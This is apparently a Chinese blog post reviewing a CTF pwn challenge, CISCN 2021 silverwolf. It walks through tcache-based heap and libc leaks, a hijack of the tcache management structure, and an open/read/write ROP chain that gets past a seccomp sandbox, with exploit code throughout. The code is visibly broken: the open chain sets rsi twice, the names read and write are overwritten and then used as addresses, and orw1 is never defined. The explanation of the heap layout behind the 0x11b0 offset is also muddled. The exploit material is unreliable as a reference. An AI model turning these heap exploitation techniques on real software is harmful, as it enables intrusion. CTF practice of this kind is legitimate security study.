7-30-复习

7-30-复习

前段时间太忙了,一直没时间梳理所学内容,今天复习一下ciscn的一道题,涉及到tcache和orw利用

题目:PWN1—[CISCN 2021 初赛]silverwolf

拿到手后发现是经典的笔记管理系统

不过有意思的是这道题是分配内存完成之后利用edit进行编辑

写完四个脚本自定义函数执行,我们来看看程序逻辑

ida分析可以看到系统中存在沙箱漏洞

意味着execute(“system”)被禁用,我们想cat flag 需要走orw

泄露堆的基地址

首先,想走orw的基础,我们需要泄露libc基地址

这样才能计算与之相关的三个函数的地址

我们先申请一个0x78大小的堆块

然后释放它

这里得到堆的基地址

如下:

add(0x78)
free()
show()

io.recvuntil(b'Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0

0x11b0的原因

+---------------------+ <-- heap_base (堆起始地址)
| arena metadata      |
| (主线程arena结构)     |  // 大小约0x11A0字节
+---------------------+
| top chunk header    |  // 大小0x10字节
+---------------------+ <-- heap_base + 0x11B0
| 第一个用户chunk的fd指针 |  // 泄露点位置
+---------------------+

内存覆盖机制

当chunk被释放时,glibc会覆盖用户数据区域的前8字节作为fd指针(64位系统):

+-------------------+-------------------+
|  chunk头部        | 用户数据区域        |
| (size, flags)     |                   |
+-------------------+-------------------+
                    ^
                    | 释放后被覆盖为fd指针

Tcache bins (glibc >= 2.26)

  • 行为:仅覆盖前8字节为fd指针

  • 特点

    chunk->fd = tcache->entries[size_index];  // 指向tcache链表头
    tcache->entries[size_index] = chunk;       // 新释放chunk成为链表头
    
  • 为什么有值?
    在tcache首次使用时:

    • tcache->entries[0x80]初始指向tcache管理结构
    • 释放后:chunk->fd = tcache->entries[0x80]
    • 因此泄露的是tcache管理结构地址

后续泄露libc地址

# 篡改tcache计数后
free()  # 释放到unsorted bin
show()  # 读取fd指针
  • 为什么是libc地址?
    • tcache满后chunk进入unsorted bin
    • unsorted bin的fd指向main_arena
    • main_arena位于libc数据段

泄露原理

至此通过在tcache_perthread_struct + 0x10的地方申请堆块,我们就成功劫持到了这个结构体。
通过修改堆块数量部分,我们可以伪造Tcache已满。然后让程序将堆块放入Unsorted Bin中。这样就会泄露出来一个main_arena + 一定值的地址。

之后我们释放堆,由于我们修改目前已存在7个Tcache堆块,我们的堆块会被放入Unsorted Bin中。
记得要恢复这部分,因为我们需要使用Tcache来进行后续的攻击。

edit(p64(heap_base + 0x10))  # 不能直接使用基址,会导致整个结构体出错。
add(0x78)
add(0x78)

edit(p64(0) * 4 + p64(0x0000000007000000))

free()
show()

libc_base = leak_addr(2, io) - 0x70 - libc.sym['__malloc_hook']
show_addr('Libc base addr: ', libc_base)

# edit(b'\x00' * 0x78) # 另一个修复结构体的方法。
edit(p64(0) * 4 + p64(0x0000000000000000))
  • 在 tcache 结构中,counts 数组存储每个 bin 的当前 chunk 数量

  • 索引计算:idx = (chunk_size - 0x10) // 0x10

    0x80 大小 chunk 的索引:(0x80 - 0x10) // 0x10 = 7

  • 修改位置:heap_base + 0x30 (对应 counts[48])

GadGet

free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x215BF
pop_rax = libc_base + 0x43AE8
pop_rsi = libc_base + 0x23EEA
pop_rdx = libc_base + 0x1B96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53 # 通常会为了避免使用 fldenv 指令,因为这个指令会使程序崩溃。
syscall = libc_base + 0xE5965 # 必须是单个syscall, 如: 0x7f5afec19965 (geteuid+5) ◂— syscall
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8AA

最后写一遍orw流程吧

open = p64(pop_rdi) + p64(flag_addr)
open += p64(pop_rax) + p64(2)
open += p64(pop_rsi) + p64(0)
open += p64(pop_rsi) + p64(0)
open += p64(syscall) #open('./flag')
read = p64(pop_rdi) + p64(3)
read += p64(pop_rsi) + p64(orw1)
read += p64(pop_rdx) + p64(0x30)
read += p64(read) # read(3,orw1,0x30)
write = p64(pop_rdi) + p64(1)
write += p64(write)# write(1, orw1, 0x30)
posted @ 2025-07-30 22:28  shanlinchuanze  阅读(34)  评论(0)    收藏  举报